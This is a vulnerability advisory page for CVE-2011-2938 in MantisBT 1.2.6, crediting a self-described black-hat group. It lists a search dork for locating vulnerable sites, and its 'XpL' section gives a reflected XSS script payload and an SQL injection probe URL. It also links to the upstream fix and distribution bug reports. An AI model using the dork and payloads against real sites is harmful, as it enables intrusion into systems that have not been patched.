Bug: MantisBT CMS Multiple Vulnerabilities(SQL/XSS) ( Ascii Version )

Search:
WLB2

MantisBT CMS Multiple Vulnerabilities(SQL/XSS)

Published
Credit
Risk
2011.08.18
Net.Edit0r (Net.Edit0r@Att.net)
Low
CWE
CVE
Local
Remote
CWE-79
CVE-2011-2938
No
Yes
 Dork: "Copyright © 2000 - 2011 MantisBT Group"

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.3/10
2.9/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
None
Partial
None

[!]===========================================================================[!]

[~] Title : MantisBT CMS Multiple Vulnerabilities(SQL/XSS)
[~] Author : Net.Edit0r (Net.Edit0r@Att.net)
[~] Homepage : Http://black-hg.org [BlACK Hat Group]
[~] Date : 18 ,8, 2010
[~] Discovered By : Cyrus & Net.Edit0r
[~] Category : webapps / 0day
[-] Special Thanks : A.Cr0x ~ b3hz4d ~ Mikili ~ 2MzRp ~ Skitt3r

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.mantisbt.org
[+] Download Saftware :
http://sourceforge.net/projects/mantisbt/files/mantis-stable/1.2.6/mantisbt-1.2.6.zip/download
[+] Price : free
[+] Vulnerability : SQL/XSS
[+] Dork : "Copyright © 2000 - 2011 MantisBT Group"
[+] Version : 1.2.6

[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/path/search.php?project_id=[XSS]

http://127.0.0.1/path/core.php?mbadmin=[SQL]

[ XpL ]

http://127.0.0.1/path/search.php?project_id="><script>alert(0)</script>

http://127.0.0.1/path/core.php?mbadmin=2+Order+By+10--

[ Vedio Demo ]


^_^ G00d LUCK ALL :=)

[+] Greets===================================================================+
+
Dr.Niloo, Hurr!c4nE , Cru3l.b0y , _Attack_, D3adlY, 3H34N , Mr.Xhat , 4m!n +
M4hd1,s3cure.p0rt ,r3v0lter,1337day.com,packetstormsecurity.org,h4ckcity.org +
Exploit-id.com , pentesters.ir, mn-team.net [PersianGulf F0r Ever] +
<3 I Love You iRAN Far==>D <3 +
+
=============================================================================+

References:

https://github.com/mantisbt/mantisbt/commit/317f3db3a3c68775de3acf3b15f55b1e3c18f93b
https://bugzilla.redhat.com/show_bug.cgi?id=731777
https://bugs.launchpad.net/ubuntu/+source/mantis/+bug/828857
https://bugs.gentoo.org/show_bug.cgi?id=379739
http://www.openwall.com/lists/oss-security/2011/08/19/16
http://www.openwall.com/lists/oss-security/2011/08/18/7
http://lists.fedoraproject.org/pipermail/package-announce/2011-September/066061.html
http://www.securityfocus.com/bid/49235
http://www.mantisbt.org/bugs/view.php?id=13245
http://packetstormsecurity.org/files/104149

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version